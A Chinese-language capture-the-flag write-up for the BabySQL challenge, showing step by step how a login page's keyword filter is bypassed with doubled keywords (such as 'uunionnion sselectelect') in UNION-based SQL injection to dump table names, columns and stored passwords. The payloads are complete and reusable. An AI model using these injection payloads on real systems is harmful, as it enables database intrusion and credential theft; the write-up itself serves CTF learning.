1. 程式人生 > 其它 >sql注入-----極客大挑戰(babysql)

sql注入-----極客大挑戰(babysql)

這個題是基於love SQl的進階,其仍是對sql注入的考察;但增加了繞過的考察;

 

 

首先仍然使用萬能密碼進行登入

 

 通關執行返回頁面發現or被過濾掉,頁面返回錯誤,摁下F12進入hacker進行注入

把url地址改為:http://ed4bd9d5-3c41-4b58-b26b-d07d237d9de0.node4.buuoj.cn:81/check.php?username=admin'%23&password=1%27+or+1%3D1%23('是為了是單引號閉合不然無法構造正確SQL語句,%23仍然起到註釋的作用也就是繞過密碼進行登入通俗說就是密碼可以隨便輸入)

執行後返回頁面顯示了使用者名稱和密碼,仍然嘗試登入頁面還是返回錯誤,繼續進行sql注入;

 

由於or會被過濾掉無法被執行,這樣也就無法執行正確的sql語句,所以使用雙寫繞過的方式進行注入;

sql語句:http://ed4bd9d5-3c41-4b58-b26b-d07d237d9de0.node4.buuoj.cn:81/check.php?username=admin' oorr byby 3 %23&password=1%27+or+1%3D1%23

 

 

 頁面回顯正常,改變欄位為四繼續注入

sql語句:username=admin' oorrder bbyy 4%23&password=1%27+oror1%3D1%23(由於or和by會被過濾掉所以這裡使用雙寫繞過)

頁面回顯錯誤說明只有三個欄位;

 

 接下來構造注入語句爆出回顯位,但是使用聯合查注union select 發現union select也被過濾掉所以繼續使用雙寫繞過;

sql語句:username=1' uunionnion sselectelect 1,2,3%23&password=1%27+oror1%3D1%23(這裡把admin改為1,因為admin無法顯示回顯位,改為1就可以顯示回顯位)

 

 頁面返回頁面顯示 顯示位為23,

接下來使用database(),version()爆出資料庫名和版本;

sql語句:username=1' uunionnion sselectelect 1, database() ,version()%23&password=1%27+oror1%3D1%23

 

 

通過返回頁面發現數據庫名為geek;接下來繼續爆出表名,繼續使用下一個payload發現無法打過去考慮是因為是有其他字元被過濾,通過測試發現被過濾字元為from,or,where;所以仍然使用雙寫繞過;

sql語句:username=1' uniunionon seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23&password=1%27+oror1%3D1%23

 

爆出表名為被b4bsql,geekuser。

繼續爆出列名;

sql語句:ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = 'b4bsql'),3

 

 返現頁面顯示列:id user passworld;

最後直接爆出資料得到flag

sql語句:ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3%23&password=1%27+oror1%3D1%23

 

 作為lovesql的進階 其基本思路是一樣的只不過這個題目一些字元會被過濾這就需要我們進行測試找到被過濾字元,通過雙寫繞過注入sql語句從而爆出資料得到flag